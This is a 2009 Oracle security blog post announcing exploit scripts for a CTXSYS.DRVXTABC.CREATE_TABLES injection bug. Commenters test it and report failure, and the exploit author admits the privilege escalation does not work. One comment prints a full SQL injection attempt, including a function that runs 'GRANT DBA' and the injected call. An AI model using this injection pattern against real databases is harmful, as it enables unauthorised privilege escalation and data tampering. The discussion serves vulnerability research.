Call: +44 (0)7759 277220 Call
Blog

Pete Finnigan's Oracle Security Weblog

This is the weblog for Pete Finnigan. Pete works in the area of Oracle security and he specialises in auditing Oracle databases for security issues. This weblog is aimed squarely at those interested in the security of their Oracle databases.

[Previous entry: "A new Russian Oracle Security Tool"] [Next entry: "Unwrapping PL/SQL"]

Two exploit versions of the ctxsys.drvxtabc.create_tables bug from Bunker



Andrea Purificato (Bunker) emailed me yesterday to let me know that he has posted two exploit scripts for the CTXSYS.DRVTABC.CREATE_TABLES bug for 9i and 10g. He has posted two versions of the exploit. The first is the traditional one and the second uses cursor injection. Andreas main page also includes links to his usual perl versions of exploits as well.

There has been 5 Comments posted on this article


December 1st, 2009 at 08:05 am

alxander "sh2kerr" polyakov says:

seems that it doesnt work, man razz

i think because ctxsys doesnt have dba role.

have u ever tried to run it? satisfied

SQL> CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
2 AUTHID CURRENT_USER AS
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 BEGIN
5 EXECUTE IMMEDIATE 'GRANT DBA TO TEST3'; COMMIT;
6 RETURN(0);
7 END;
8 /

Function created.

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO

SQL> select * from user_sys_privs;

USERNAME PRIVILEGE ADM
------------------------------ ---------------------------------------- ---
TEST3 UNLIMITED TABLESPACE NO

SQL> exec ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual w
here 'USER'.own=0--','x',2);
BEGIN ctxsys.drvxtabc.create_tables(''user'"."x" as select * from dual where
'USER'.own=0--','x',2); END;

*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 190
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRVXTABC", line 23
ORA-01031: insufficient privileges
ORA-06512: at line 1

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
TEST3 CONNECT NO YES NO
TEST3 RESOURCE NO YES NO

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Prod
PL/SQL Release 10.1.0.2.0 - Production
CORE 10.1.0.2.0 Production
TNS for 32-bit Windows: Version 10.1.0.2.0 - Production
NLSRTL Version 10.1.0.2.0 - Production

SQL>



December 1st, 2009 at 05:36 pm

dsu says:

I try on Oracle Database 10g XE
and it not work...
Maybe because "CREATE OR REPLACE package drvxtabc authid current_user as" ?



December 2nd, 2009 at 10:01 am

Pete says:

Thanks for the comments guys; i dont have a 10g database to try it on, i simply posted the links as requested. Usually Bunkers exploits work. DSU says that the package DRVXTABC is current_user so the user running the exploit would not benefit from CTXSYS roles such as DBA, even for definer rights code the owners roles are turned off.

I have emailed Andrea to ask him to post here and answer your questions.

cheers

Pete



December 2nd, 2009 at 04:26 pm

bunker says:

Hi guys!

I'm really sorry for the mistake. The released code about this flaw seems not working because of the "authid current_user" clause used during the creation of the DRVXTABC package (as noticed into the previous post).
There were some troubles with my test DB that drive me into the wrong way. As previously reported by Alexandr Polyakov, the injection still works but impacts only confidentiality and integrity.
I sent a correction to bugtraq.

Sorry again :

Andrea



December 3rd, 2009 at 01:25 am

joel garry says:

Just a nitpick: Do you really need that commit after the grant? It's already done two... sleepy